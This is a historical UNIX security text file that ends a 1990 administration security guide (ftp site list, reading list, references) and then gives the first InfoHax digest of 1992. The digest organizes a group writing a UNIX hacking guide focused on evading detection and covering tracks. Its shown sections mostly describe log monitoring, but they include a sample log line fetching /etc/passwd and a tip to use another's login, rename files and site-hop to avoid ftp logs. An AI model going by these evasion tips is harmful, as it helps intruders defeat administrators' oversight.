Site Name I.P. Address Description
|
||
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||
aeneas.mit.edu 18.71.0.38 GNU emacs, kerberos, Athena
|
||
ajpo.sei.cmu.edu 128.237.2.253 all the ADA you could ask for
|
||
anise.acc.com 129.192.64.22 Berkeley utils ported to A/UX
|
||
arthur.cs.purdue.edu 128.10.2.1 RCS, buildtex, deTeX, mac
|
||
dftsrv.gsfc.nasa.gov 128.183.10.134 VMS stuff
|
||
emsworth.andrew.cmu.edu 128.2.30.62 Andrew Toolkit
|
||
expo.lcs.mit.edu 18.30.0.212 X, portable bitmaps, CLX and CLUE
|
||
jpl-devvax.jpl.nasa.gov 128.149.1.143 perl, patch, warp
|
||
labrea.stanford.edu 36.8.0.47 GNU, X, official TeX sources
|
||
lll-lcc.llnl.gov 128.115.1.2 Sun Local Users Group arch.
|
||
merlin.cs.purdue.edu 128.10.2.3 ConcurrenC, Xinu, mac, GIF
|
||
nic.ddn.mil 10.0.0.51 netinfo, RFCs, IEN, IETF
|
||
nisc.nyser.net 192.33.4.10 GNU Emacs, GOSIP, Nysernet, IETF
|
||
postgres.berkeley.edu 128.32.149.1 University INGRES
|
||
pyrite.rutgers.edu 128.6.4.15 Security mailing list archives
|
||
titan.rice.edu 128.42.1.30 sun-spots, Lots of Sun source
|
||
tut.cis.ohio-state.edu 128.146.8.60 GNU, tcsh, Elisp, ...
|
||
uunet.uu.net 192.48.96.2 usenet archives, much more
|
||
vgr.brl.mil 192.5.23.6 info-iris, brl-cad, bump, ttcp
|
||
|
||
Eventually, under the Help and Utilities category of Network User Services
|
||
(NUS), there will be a large list of internet ftp sites for easy perusal.
|
||
|
||
|
||
Reporting Problems
|
||
==================
|
||
If you find a security violation on your system, contact your local
|
||
security officer immediately. There should be no delay. They will be able
|
||
to inform you of any necessary action to take.
|
||
|
||
|
||
|
||
Conclusions
|
||
***********
|
||
|
||
"The cure shouldn't be worse than the disease."
|
||
-- Chuck Cole
|
||
|
||
It's simple. They know who you are, they know where you live, and they
|
||
even know how to get in, but only when you leave the door open. Security
|
||
is becoming an important issue. You need to start recognizing which doors
|
||
are open and how to close them. It is too important to put it off until
|
||
tomorrow.
|
||
|
||
You have read about theoretical ways intruders can penetrate your system
|
||
and how they are attacking your networks, accounts and filesystems. Most
|
||
importantly, you have learned how to monitor your system and how to fix
|
||
most of the current holes. There is nothing else I can say -- it is time
|
||
to start doing.
|
||
|
||
|
||
Suggested Reading
|
||
*****************
|
||
UNIX System Administration Handbook
|
||
Evi Nemeth, Garth Snyder, Scott Seebass
|
||
Prentice Hall, 1989 -- $32.95
|
||
ISBN: 0-13-933441-6
|
||
This is perhaps the best general-purpose book on UNIX system
|
||
administration currently on the market. It covers Berkeley UNIX, SunOS,
|
||
and System V. The 26 chapters and 17 appendices cover numerous topics,
|
||
including booting and shutting down the system, the file system,
|
||
configuring the kernel, adding a disk, the line printer spooling system,
|
||
Berkeley networking, `sendmail', and `uucp'. Of particular
|
||
interest are the chapters on running as the super-user, backups, and
|
||
security.
|
||
|
||
UNIX Operating System Security'
|
||
F. T. Grammp and R. H. Morris
|
||
AT&T Bell Laboratories Technical Journal
|
||
October 1984
|
||
This is an excellent discussion of some of the more common security
|
||
problems in UNIX and how to avoid them, written by two of Bell Labs'
|
||
most prominent security experts.
|
||
|
||
Password Security: A Case History
|
||
Robert Morris and Ken Thompson
|
||
Communications of the ACM
|
||
November 1979
|
||
An excellent discussion on the problem of password security,
|
||
and some interesting information on how easy it is to crack
|
||
passwords and why. This document is usually reprinted in most vendors'
|
||
UNIX documentation.
|
||
|
||
On the Security of UNIX
|
||
Dennis M. Ritchie
|
||
May 1975
|
||
A discussion on UNIX security from one of the original creators of the
|
||
system. This document is usually reprinted in most vendors' UNIX
|
||
documentation.
|
||
|
||
The Cuckoo's Egg
|
||
Clifford Stoll
|
||
Doubleday, 1989 -- $19.95
|
||
An excellent story of Stoll's experiences tracking down the German
|
||
crackers who were breaking into his systems and selling the data they
|
||
found to the KGB. Written at a level that nontechnical users can
|
||
easily understand.
|
||
|
||
System and Network Administration
|
||
Sun Microsystems
|
||
May, 1988
|
||
Part of the SunOS documentation, this manual covers most aspects of Sun
|
||
system administration, including security issues. A must for anyone
|
||
operating a Sun system, and a pretty good reference for other UNIX
|
||
systems as well.
|
||
|
||
Security Problems in the TCP/IP Protocol Suite
|
||
S. M. Bellovin
|
||
ACM Computer Communications Review
|
||
April, 1989
|
||
An interesting discussion of some of the security problems with the
|
||
protocols in use on the Internet and elsewhere. Most of these problems
|
||
are far beyond the capabilities of the average cracker, but it is still
|
||
important to be aware of them. This article is technical in nature, and
|
||
assumes familiarity with the protocols.
|
||
|
||
A Weakness in the 4.2 BSD UNIX TCP/IP Software
|
||
Robert T. Morris
|
||
AT&T Bell Labs Computer Science Technical Report 117
|
||
February, 1985
|
||
An interesting article from the author of the Internet worm, which
|
||
describes a method that allows remote hosts to "spoof" a host into
|
||
believing they are trusted. Again, this article is technical in nature,
|
||
and assumes familiarity with the protocols.
|
||
|
||
Computer Viruses and Related Threats: A Management Guide
|
||
John P. Wack and Lisa J. Carnahan
|
||
National Institute of Standards and Technology
|
||
Special Publication 500-166
|
||
This document provides a good introduction to viruses, worms, trojan
|
||
horses, and so on, and explains how they work and how they are used to
|
||
attack computer systems. Written for the nontechnical user, this is a
|
||
good starting point for learning about these security problems. This
|
||
document can be ordered for $2.50 from the U. S. Government Printing
|
||
Office, document number 003-003-02955-6.
|
||
|
||
The Design and Implementation of the 4.3BSD Unix Operating System
|
||
Sam Leffler, Kirk McKusick, Mike Karels, and John Quarterman
|
||
Addison-Wesley, 1989 -- $39.00
|
||
ISBN: 0-201-06196-1
|
||
This book is the first authoritative description of the design and
|
||
implementation of the research version of the UNIX System developed
|
||
at the University of California at Berkeley. It covers the INTERNAL
|
||
structure of the 4.3BSD system and the concepts, data structures, and
|
||
algorithms used in implementing the system facilities. The book also
|
||
includes a chaper on the implementation of TCP/IP -- a networking
|
||
protocol suite widely implemented throughout the world.
|
||
|
||
Both philosophical and design issues of 4.3BSD are discussed, as well
|
||
as details of the actual implementation. In most cases, the
|
||
discussion starts at the system-call level and descends from the
|
||
interface to the kernel down to the hardware itself. The kernel
|
||
includes system facilities such as process management, memory
|
||
management, the I/O system, the filesystem, the socket IPC mechanism,
|
||
and network-protocol implementations.
|
||
|
||
The Design and Implemenation of the 4.3BSD UNIX Operating System is an
|
||
in-depth study of a contemporary operating system. This book assumes
|
||
that the reader understands basic operating-system terminology and has
|
||
some familiarity with any version of the UNIX System and with the C
|
||
programming language. Therefore, this book is suitable for
|
||
operating-system implementors, systems programmers, and UNIX
|
||
application developers.
|
||
|
||
UNIX System Security
|
||
Patrick Wood and Stephen Kochan
|
||
Hayden Book Company, 1985 -- $34.94
|
||
ISBN: 0-8104-6267-2
|
||
Here is a practical guide to computer security on the UNIX system for
|
||
the user, administrator, or potential UNIX system buyer. It will
|
||
teach you everything you need to know to make your system secure and
|
||
keep it that way.
|
||
|
||
Life With UNIX
|
||
Don Libes and Sandy Ressler
|
||
Prentice-Hall, 1989 -- $30.95
|
||
This book is quite unusual, not only because of its scope, but because
|
||
it prints things that have never appeared in print (for one reason or
|
||
another) - things that most people don't realize or find until years
|
||
after they have used UNIX. It is essentially a "reading between the
|
||
lines" of all the other UNIX manuals, books and magazines. Lastly,
|
||
"Life With UNIX" is chock full of amusing UNIX stories and anecdotes,
|
||
all designed to provide you with key insights into why UNIX is the way
|
||
it is. "Life with UNIX" is a must book for UNIX beginners to UNIX
|
||
gurus.
|
||
|
||
|
||
|
||
References
|
||
**********
|
||
[Curr90]
|
||
Curry, David A. `Improving the Security of Your UNIX System'.
|
||
SRI International. April 1990.
|
||
[Elli90]
|
||
Elliot, Lawrence. "Hunt for the Hacker spy" `Reader's Digest',
|
||
April 1990, pp 185-232.
|
||
[Eich89]
|
||
Eichin, Mark W., and Jon A. Rochlis. `With Microscope and
|
||
Tweezers: An Analysis of the Internet Virus of November 1988'.
|
||
Massachusetts Institute of Technology. February 1989.
|
||
[Farr90]
|
||
Farrow, Rik. "Inside the Internet Worm" `UNIX World', June 1990.
|
||
[Geer90]
|
||
Geer, Daniel E. Massachusetts Institute of Technology, Project Athena.
|
||
Personal Communication, June 1990.
|
||
[Haye90]
|
||
Hayes, Frank. "Is Your System Safe?" `UNIX World', June 1990.
|
||
[Hayn89]
|
||
Haynes, Jim. University of California, Santa Cruz. Personal
|
||
Communication, May 1989.
|
||
[McKu89]
|
||
McKusick, Marshall K., Sam Leffler, Mike Karels, John Quarterman.
|
||
`The Design and Implementation of the 4.3BSD Unix Operating
|
||
System'. Addison-Wesley, 1989.
|
||
[Mens90]
|
||
Mensch, Henry. Massachusetts Institute of Technology, Project Athena.
|
||
Personal Communication, June 1990.
|
||
[Morr78]
|
||
Morris, Robert H., and Ken Thompson. "Password Security: A Case
|
||
History." `Communications of the ACM', 22 (11): 549-597, November
|
||
1979. Reprinted in `UNIX System Manager's Manual', 4.3 BSD.
|
||
University of California, Berkeley. April 1986
|
||
[Neme89]
|
||
Nemeth, Evi, Garth Snyder, Scott Seebass. `UNIX System
|
||
Administration Handbook'. Prentice-Hall, 1989.
|
||
[Ritc75]
|
||
Ritchie, Dennis M. "On the Security of UNIX." May 1975. Reprinted in
|
||
`UNIX System Manager's Manual', 4.3BSD. University of California,
|
||
Berkeley. April 1986
|
||
[Seel88]
|
||
Seeley, Donn. `A Tour of the Worm'. Department of Computer
|
||
Science, University of Utah. December 1988.
|
||
[Spaf88]
|
||
Spafford, Eugene H. `The Internet Worm Program: An Analysis.'
|
||
Technical Report CSD-TR-823. Department of Computer Science, Purdue
|
||
University. November 1988.
|
||
[Stol89]
|
||
Stoll, Clifford. `The Cuckoo's Egg'. New York: Doubleday, 1989.
|
||
[Wood79]
|
||
Wood, Patrick, Stephen Kochan. `UNIX System Security'. Hayden
|
||
Books, 1979.
|
||
|
||
|
||
|
||
InfoHax Digest, Number 1
|
||
|
||
Saturday, January 25th 1992
|
||
|
||
Today's Topics:
|
||
|
||
welcome.hax
|
||
form.0
|
||
sysadmin.comments
|
||
frm.paper
|
||
frm.mentor.paper
|
||
shell.tools
|
||
phone.trace.evsn
|
||
BSD.accnt.files
|
||
trace.fakemail.gd
|
||
IP.tracing
|
||
more.IP.tracing
|
||
rfc931
|
||
hacker.trkr.tools
|
||
hideum.pl
|
||
----------------------------------------------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:04:41 -0700
|
||
Subject: welcome.hax
|
||
|
||
*****************************************************************************
|
||
WELCOME TO PROJECT: INFOHAX
|
||
*****************************************************************************
|
||
Project: INFOHAX is an invitation only project to write the most explicit
|
||
and complete guide to hacking UNIX systems that has ever been put out. We
|
||
are starting with a 150k paper as an outline, filling in all the holes/tricks
|
||
and expanding on it substantially.
|
||
Project durration is set at 1+ year, with digests comming out once a week,
|
||
delphi style, perhaps more often if the traffic warrents it.
|
||
***IN ORDER TO GET FURTHER DIGESTS YOU NEED TO SUBSCRIBE TO THE LISTSERV.***
|
||
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
||
we also have a passworded fileserver, Details to follow.
|
||
send mail to:
|
||
LISTSERV@STORMKING.COM
|
||
with
|
||
SUBSCRIBE INFOHAX User_Name
|
||
in the msg body
|
||
if you have not been confirmed, you will be rebuffed.
|
||
to access the fileserver send mail to:
|
||
LISTSERV@STORMKING.COM
|
||
with
|
||
HELP
|
||
INDEX INFOHAX /silicon_lollipop
|
||
in the msg body
|
||
for confirmation or to get a copy of the 'outline paper' contact
|
||
tangent@stormking.com
|
||
so far confirmed people are:
|
||
Knight Lightning (craig) Nikita
|
||
Taran King (randy) Calculite (shannon)
|
||
Tuc Tangent (nate)
|
||
Sir Frances Drake (steve) Judge Dread (sam)
|
||
some people we havn't heard back from or havn't got confirmations from:
|
||
Erik Bloodaxe
|
||
Dispater
|
||
you're in if you wanna be, let us know.
|
||
These people have been recomended by someone and need to be voted on:
|
||
please vote on a 0-10 scale, 0=NO 5=I_DONT_CARE 10=YES
|
||
PHz (by dispater) Amoeba+Entity+Flex
|
||
Rosco (by tuc+tangent) frm cccan (by tangent)
|
||
Feanor (by dispater) Furryeel (by tangent)
|
||
THFC ? (by kl - please clarify) Rop (by tangent)
|
||
if anyone has suggestions for additional people, please let me know.
|
||
if anyone has strong feelings one way or the other on any of these people,
|
||
voice um!
|
||
SO HOW DOES THIS WORK?
|
||
We're trying to work it like a delphi right now. A delphi is a think tank
|
||
technique where you present an idea to work on, and send it out to people
|
||
to work on, solve problems, submit info, ask/answer questions, comment on,
|
||
etc. in a little less than a week send in what you have so far, and it will
|
||
all be bundled into digests and sent out again... the list is moderated so
|
||
some sorting/organising can happen before it goes out again. then people
|
||
keep working on what they were, but have feedback and fresh material from
|
||
everyone else... it's a really powerfull technique, so I hope it works for
|
||
us. I think there will be some rough edges to work out, as to the methods,
|
||
hopefully this wont take too long.
|
||
I put out a form (see below: form.0) to help organise info, and keep
|
||
track of things, please use it! the header and tail should be used for
|
||
feedback, and discussions, please save bandwidth and nuke the 'DATA:'
|
||
section, except for BRIEF extracts of the text being commented on.
|
||
Also PLEASE SEND COMMENTS ON DIFFERENT SECTIONS IN DIFFERENT E-MAIL,
|
||
that will make sorting sooooo mutch easier, a section name in the
|
||
'Subject' field would be nice too...
|
||
PLEASE NOTE THAT THE LISTSERV WILL NUKE THE FROM LINE OF YOUR EMAIL,
|
||
if you want people to know who wrote what you just sent in, put your
|
||
name or handle in the body of the message.
|
||
If you're submitting original material, please use the whole thing. We
|
||
will assighn a section # to avoid chaos...
|
||
Also if you have input on the genneral form of the project, discussions
|
||
that don't relate to a particular area, etc. please send a form with a
|
||
header/subject line of DISCUSSION these will be collected together at the
|
||
begiinning of the digests. The methods/form of the project are totally
|
||
variable, and I encourage you to suggest changes, we may throw the delphi
|
||
out all together, it's a starting point, nothing more. If you don't like
|
||
it say so!
|
||
If you see something referenced that you don't understand, ask about it.
|
||
If you see a trick mentioned, but not explained, that you know something
|
||
about, or have ideas on - even if you don't totally grok it, send in what
|
||
you know, or ideas about how it might work. There are alot of little
|
||
sections that need to be worked on. If you have something to say about it
|
||
do!, even if you're not the person working on it. If you see a section
|
||
that you'd like to work on, adopt it. basicly we get alot better info if
|
||
people arn't territorial about a section they are working on, and accept
|
||
/incorperate input.
|
||
In other words we're working under total anarchy! be nice to each other,
|
||
cooperate, and lets not have any flame wars...
|
||
PROJECT OUTLINE:
|
||
the main sections of the original paper follow, after that some additions:
|
||
Theory Devices
|
||
Network Security Monitoring
|
||
Other Network Services Net Monitoring
|
||
Accnt Security Accnt Monitoring
|
||
File System Security File System Monitoring
|
||
Setgid Programs Know your System
|
||
Startup Files Improving Your Security
|
||
User Utils Pollicies
|
||
Programming Utils Countermeasures
|
||
Encryption Biblio
|
||
additions:
|
||
How not to get caught - logging, covering tracks, laundering calls, becoming
|
||
invisable to the system, who's on, housecleaning, hiding setuid, trojans,..
|
||
Getting in the Door...
|
||
Getting Root
|
||
Setuid Progs/shells
|
||
Passive Snooping
|
||
Network Spoofing
|
||
Patch Level and Version History
|
||
this list is far from complete, please suggest additions!, oh yeah, a large
|
||
collection of exploitation type code/scripts at the end.
|
||
if anyone would like to start filling in the outline/TOC that would be
|
||
great!
|
||
This first chapter is on how not to get caught. It will effect all the
|
||
other areas of the paper and is going to be revisited/added to as we visit
|
||
every other chapter. It's also a good springboard to get folks started in
|
||
on other areas. I'm not shure if it's best to hop arround at random doing
|
||
different sections in parrallel, or sequentially chapter by chapter...
|
||
feedback?
|
||
This first digest has the following areas to stimmulate discussion:
|
||
sec01: sysadmin.comments - on logging
|
||
sec02: frm.paper - what we're expanding on
|
||
sec03: frm.mentor.paper - prev work to build on
|
||
sec04: shell.tools - proposed tools by calculite, some comments
|
||
by tangent
|
||
sec05: phone.trace.evsn - info in evading phone traces
|
||
sec06: BSD.accnt.files - summary of w/ notes on exploiting
|
||
sec07: trace.fakemail.gd - slightly dated, lotta good tricks to tease out
|
||
sec08: IP.tracing - discussions on hacker trackers
|
||
sec09: more.IP.tracing - more of above
|
||
sec10: rfc931 - bad news... need to find ways arround this.
|
||
sec11: hacker.trkr.tools - how we get caught...
|
||
sec12: hideum.pl - pearl script for nuking /utmp entries
|
||
Some areas that need discussion are weather we should include available
|
||
material, or just ref it. examples include mentors paper, rfc931, phracks
|
||
'hiding out under unix', and another phrack artical on getting lost (title?)
|
||
My thoughts are to include it if it's short, or at least stick it on the
|
||
file server... feedback?
|
||
Obvious areas (in this chapter) that need something written about them are:
|
||
UUCP logging evading phone traces
|
||
SysV log summary UNIX as outdial
|
||
IP spoofing terminal servers and gateways
|
||
If you feel you have a specialty area, please list it, and start work on
|
||
that area (with a partner or two if there's overlap), though everyone should
|
||
comment/contribute to all areas, if possable. This is supposed to be a
|
||
democracy, so if you want to change what I'm outlining, please submit your
|
||
ideas and the group can hash it out. Don't get overwelmed!, if we took 2wks
|
||
on eash major area, this project would take a year, It's probably going to
|
||
take more than that... remember, we're basicly writing a BOOK!
|
||
we can officially consider this project underway, expect mailings every wk,
|
||
perhaps twice a wk when things get going well!
|
||
Happy Hacking!
|
||
Tangent
|
||
-----------------------------------------------------------------------------
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:14:48 -0700
|
||
Subject: form.0
|
||
|
||
In an attempt to keep things organised from the start I put together a
|
||
form for communication. The sole purpose of this is to be able to easily
|
||
refer to what's been done, keep track of revisions, and cross ref comments
|
||
and pointers to other sections...
|
||
Please buffer, and USE this for communication:
|
||
--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<----
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
---8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<---
|
||
where:
|
||
Section Name - is the name of the sevtion within the chapter.
|
||
chapter.sec.version - is the overall ref, version starts at 0, and goes up
|
||
just like software or OS releases
|
||
00/00/00 - is the last revision date
|
||
DATA: - is material submitted, or commented on, or exploitation type code (for
|
||
this chapter = code, and sec = chapter), etc. another chapter Biblio: - works
|
||
the same way. The DATA area is for ORIGINAL material being submitted, or for
|
||
REVISIONS (one person ties all replies together, and puts together a revision)
|
||
the idea here is to keep the bandwidth down, and avoid the redundancy of
|
||
newsgroups...
|
||
------------------------------------------------------------------------------
|
||
Comments: this is a 'maybe this would be possable' type area, or gen comments
|
||
on the DATA sec, you can eithor reply by interspercing comments in the data
|
||
via '>'s or put um here, and nuke the data for replies, as everyone will
|
||
allready have the data.
|
||
Q's: how is this done, anyone know about this, etc... type area...
|
||
Biblio: refs to go in the biblio chapter
|
||
CrossRef: this ties in to, or could be used in chp#,sec#...
|
||
Code/shRef: exploitation type code, or shell scripts for the code chapter, ref
|
||
to, code should go in the Data sec of message.
|
||
------------------------------------------------------------------------------
|
||
OK, so maybe this isn't perfect, not shure how it will work, but it WILL
|
||
make life soooo mutch easier a couple of months down the road, and when it
|
||
goes to final edit...
|
||
If anyone has comments on how to improve this, or do it better, speak up!,
|
||
once this is set, we're going to be stuck with it for the whole project.
|
||
Also, to make things more clear, the DATA area is what will be eventually
|
||
published. The leading, and trailing headers are to keep track of it, and
|
||
talk about it(DATA).
|
||
------------------------------------------------------------------------------
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:20:48 -0700
|
||
Subject: sysadmin.comments
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
sysadmin.comments 01.01.0 01/21/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
17) OK, finally, logs. I read every log that grows without bounds,
|
||
including daemonlogs that would show unauthorized reboots if not altered.
|
||
I never found anything odd in ptydaemonlog or vtdaemonlog, or any unreason-
|
||
able reboots, startups, shutdowns, etc., although I kept reading the logs
|
||
anyway.
|
||
Obviously I reviewed sulog, but I never found anything in there
|
||
either, although possibly the fact that I disabled su early on had something
|
||
to do with that :).
|
||
I also read my own .x11startlog, which would show startup times for
|
||
X windows on the console; that was always clean.
|
||
The ones that I did find things in were /etc/btmp and /etc/wtmp,
|
||
expecially wtmp...I'm not sure how familiar you are with the format of
|
||
these, so just to summarize, they give username, tty, time on and time off.
|
||
btmp is the bad login attempt log, wtmp the successful login attempt log.
|
||
I rather imagine that a dialup cracking attempt by an outsider would tend
|
||
to generate more btmp entries, but on my system the interesting stuff was
|
||
usually in wtmp. Anyway:
|
||
In the log of bad logins, btmp, you look for repeated login attempts
|
||
for a single user, especially if they are clustered around the same time,
|
||
and especially if there are a large number of login attempts which don't
|
||
show any typographical errors in the user name. A third to a half of
|
||
legitimate entries--that is, failed logins by authorized users--in btmp
|
||
will show typos in entering the username, or sometimes weird character
|
||
strings that indicate somebody leaned on the keyboard. Some of them will
|
||
show passwords typed in where usernames should be, which is why btmp is
|
||
supposed to be readable only by root. I imagine that dialup will show
|
||
some 'line noise' failures. My users were on hardwired terminals, so that
|
||
didn't appear.
|
||
Large numbers of failed entries for a single user in which the user-
|
||
name is typed correctly mean either that a legitimate user has forgotten his
|
||
password, a legitimate user is typing spastically this morning, or somebody's
|
||
trying to crack that account. I'd ask the user if he was doing something
|
||
that would have led to all the bad attempts; sometimes the answer was yes,
|
||
in which case I could get him a new password or forget it. If it's no,
|
||
I know I have a problem.
|
||
The other pattern that sometimes occurs is 'sweeps' across large
|
||
numbers of usernames, usually typed correctly, clustered at the same time
|
||
and originating from the same terminal. This is almost always cracking,
|
||
if it shows up in btmp.
|
||
What is never anything but cracking is the appearance of login attempts
|
||
for reasonable guesses at usernames that don't happen to exist on your system.
|
||
The 'sweep' pattern, in our company, could be legitimate if it showed
|
||
up in wtmp, the log of successful logins, because certain trusted department
|
||
heads were authorized to login as their subordinates and occasionally did so
|
||
for administrative purposes. In this case, the sweep usually originates at
|
||
a single terminal, generally the department head's, and covers that department
|
||
only.
|
||
I looked for a string of fairly obvious things in wtmp: simultaneous
|
||
logins by the same user, users logged in at unusual times or from unusual
|
||
ports, off-console root logins, etc. This actually took the most time, and
|
||
is the one I did the most asking about--hey, Rita, did you log in in Ben's
|
||
office yesterday? and so forth.
|
||
The larger the system and # of users, obviously, the harder this
|
||
is to do. I could have started correlating wtmp and btmp entries, but
|
||
never got the time to write the script. We also didn't have auditing enabled
|
||
because I didn't get a chance to put it up, because I was under pressure to
|
||
get the system operational. That was probably a mistake, although it wouldn't
|
||
really have changed the final outcome of anything.
|
||
I did pin down a major security breach with this procedure, because
|
||
I found one more off-console root login than I knew was legitimate, which
|
||
neither I nor the assistant administrators could account for. I found the
|
||
damage not long after, although it took me, honestly, about two weeks to
|
||
figure out why that particular item had been changed (It's not a secret, but
|
||
definitely belongs in another letter, so I'll save it).
|
||
This approach obviously has a flaw (aside from not having auditing)
|
||
in that I obviously wouldn't see a breach that involved someone else logging
|
||
in at a user's regular terminal at a reasonable time for that user to be
|
||
there, which I strongly suspect happened more than once. Auditing would
|
||
have caught anomalous system activity in that case if file permissions
|
||
had been changed. It couldn't have caught the falsifying of information
|
||
within the scope of the user's normal routine--if someone logged in as
|
||
the bookkeeper in the right place at the right time calls up the usual
|
||
programs and does everything except enter the numbers straight, there is
|
||
no way to pick that up with auditing.
|
||
Since I will have auditing up when I go up on the net, the report
|
||
we ought to be able to compile on this subject after the experiments ought
|
||
to be much more complete, and I'm looking forward to it as it should be
|
||
fascinating. Thanks :)
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 18:25:13 -0700
|
||
Subject: frm.paper
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
frm.paper 01.02.0 01/21/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
In general the intruder can cover his own tracks. Detecting Intrusion
|
||
therefor depends on on the intruder neglecting to do so, plus the
|
||
installation of log keeping. The existence of log keeping should be
|
||
somewhat secret to increase the probability that the intruder will
|
||
unwittingly reveal his acts and methods.
|
||
The best logkeeping consists of writing to a hardcopy device so that
|
||
the intruder cannot erase the log.
|
||
Sometimes a single slip-up by an intruder will reveal a huge case of
|
||
previously unsuspected penetration.
|
||
SYSLOG
|
||
------
|
||
The syslog facility is a mechanism that enables any command to log error
|
||
messages and informational messages to the system console, as well as to a
|
||
log file. Typically error messages are logged in the file
|
||
/usr/spool/log/syslog along with the date, time, and name of the program
|
||
sending the message to the program.
|
||
Example:
|
||
DEC 24 12:10:06 WS1 NNTPXMIT: greet=520 SAMT 19 NNTP server can't talk to you
|
||
DEC 24 14:53:37 WS1 LOGIN: root login ttyp3 from WS2.podunk.edu
|
||
DEC 25 08:02:03 WS1 LOGIN: root login ttyp4 from wizard.hack.com
|
||
DEC 25 08:28:52 WS1 SU: joueuser on /dev/ttyp3
|
||
DEC 25 10:23:41 WS1 VMUNIX: /: file system full
|
||
DEC 25 11:30:42 WS1 LOGIN: repeated login failures on ttyp3 from
|
||
sys1.podunk.edu, daemon
|
||
DEC 25 11:45:08 WS1 NNTPD: rnews: inews: comp.foo: no valid newsgroup found
|
||
Of particular interest are the messages from the login and su programs.
|
||
Wheneverr someone logs in as root login logs this informtion. In general
|
||
logging in as root directly, as opposed to using the su program is better
|
||
as it is harder to tell which person is actually using the accnt.
|
||
Login also logs any case of someone repeatedly trying to log into an
|
||
account and failing, 3 consecutive times.
|
||
These messages can be used to check for users sharring accounts, as well
|
||
as hacking attempts.
|
||
SHOWMOUNT
|
||
---------
|
||
Can be used on a NFS file server to show the names of all hosts that
|
||
currently have something mounted from that server.
|
||
w/ no options just shows a list of all the hosts.
|
||
w/ '-A' shows all the hosts and directory combinations ie:
|
||
ws1.cs.podunk.edu:/usr/local
|
||
bart.podunk.edu:/var/spool/mail
|
||
maggie.podunk.edu:/usr/local
|
||
w/ '-D' shows a list of all directories mounted by some host.
|
||
Showmount's output is checked for 2 things, first, only machines local
|
||
to the systems organization should appear there. Second, only "normal"
|
||
directories should be mounted - unusual directories being mounted may
|
||
indicate a hacking attempt.
|
||
FTP LOGGING
|
||
-----------
|
||
Some versions of ftp allow administrators to turn on and off logging
|
||
information. The standard BSD4.2 does not, but there are publiclly
|
||
available patches to the code to enable this feature.
|
||
Example:
|
||
@ws5.cs.podunk.edu (bsimpson) wed may 30 19:32:11 1990
|
||
get /pub/gnu/gcc-11.37.tar.Z
|
||
@131.170.8.11 (intruder) wed may 30 22:13:01 1990
|
||
get /etc/passwd
|
||
put /pub/annoying-msg
|
||
jueuser@podunk.edu wed june 6 08:19:16 1990
|
||
get /pub/sun-source/faces-1.3.tar.Z
|
||
get /pub/gnuemacs-18.55.tar.Z
|
||
In the case where lines begin w/ an '@', an anonymous ftp was done. The
|
||
password given by the user (they ask for username, sometimes site name /
|
||
address - will usually take anything) is in parenthesis after the hostname.
|
||
In the case where lines start w/ a username, a normal user has logged on
|
||
to transfer files.
|
||
Whenever you transfer files with ftp, the manager will know what login
|
||
was used, what files were transfered, and to what site.
|
||
(use a login, not your own , rename the files, and site hop...)
|
||
ACCOUNT MONITORING:
|
||
-------------------
|
||
Accounts are monitored to check for:
|
||
A) users logged in when they shouldn't be (i.e. late at night, when
|
||
the're on vacation, etc)
|
||
B) users executing commands they wouldn't normally be expected to use.
|
||
LAST
|
||
----
|
||
Last looks back in the wtmp file which records all logins and logouts
|
||
for information about a user, a teletype or any group of users and teletypes.
|
||
Arguments specify names of users or teletypes of interest. Names of teletypes
|
||
may be given fully or abbreviated. For example, LAST 0 is the same as LAST
|
||
TTY0. If multiple arguments are given, the information which applies to any
|
||
of the arguments is printed. For example "last root console" would list all
|
||
of root's sessions, as well as all sessions on the console terminal.
|
||
Last displays the sessions of of the specified users and teletypes, most
|
||
recent first, indicating the times at which the session began, the duration
|
||
of the session, and the teletype the session took place on. If the session
|
||
is still continuing or was cut short by a reboot.
|
||
With no arguments, last displays a list of all logins and logouts, in
|
||
reverse order.
|
||
Example:
|
||
$ last -4 joeuser
|
||
joeuser ttyp1 ws1.cs.podunk.e wed jun 6 10:04 still logged in
|
||
joeuser ttyp3 bart.poduke.edu tue jun 5 15:01 - 15:01 (00:00)
|
||
joeuser ttyp0 maggie.podunk.e tue jun 5 10:05 - 19:44 (09:38)
|
||
joeuser console ws2.cs.poduke.e tue jun 5 09:49 - 10:05 (00:16)
|
||
LASTCOMM
|
||
--------
|
||
Lastcomm gives information about previously executed commands. Without
|
||
any arguments it gives information about all the commands recorded durring
|
||
the the current accounting files lifetime. If called with no arguments, it
|
||
displays information about all the commands recorded durring the current
|
||
accounting files lifetime. If called with arguments it only displays
|
||
accounting records with a matching command name, user name, or terminal name.
|
||
Example:
|
||
$ lastcomm
|
||
who simsonb ttyp0 0 secs wed jun 6 10:03
|
||
mesg joeuser ttyp1 0 secs wed jun 6 10:03
|
||
biff joeuser ttyp1 0 secs wed jul 6 10:03
|
||
csh F joeuser ttyp1 0 secs wed jul 6 10:03
|
||
killercracker intruder ttyp4 7240 secs wed jul 6 08:01
|
||
. . .
|
||
For each process entry, lastcom displays the following items of
|
||
information:
|
||
The command name under which the proccess was called
|
||
One or more flaggs indicating special information about the process,
|
||
the flags have the following meanings:
|
||
F The process performed a fork, but not an exec
|
||
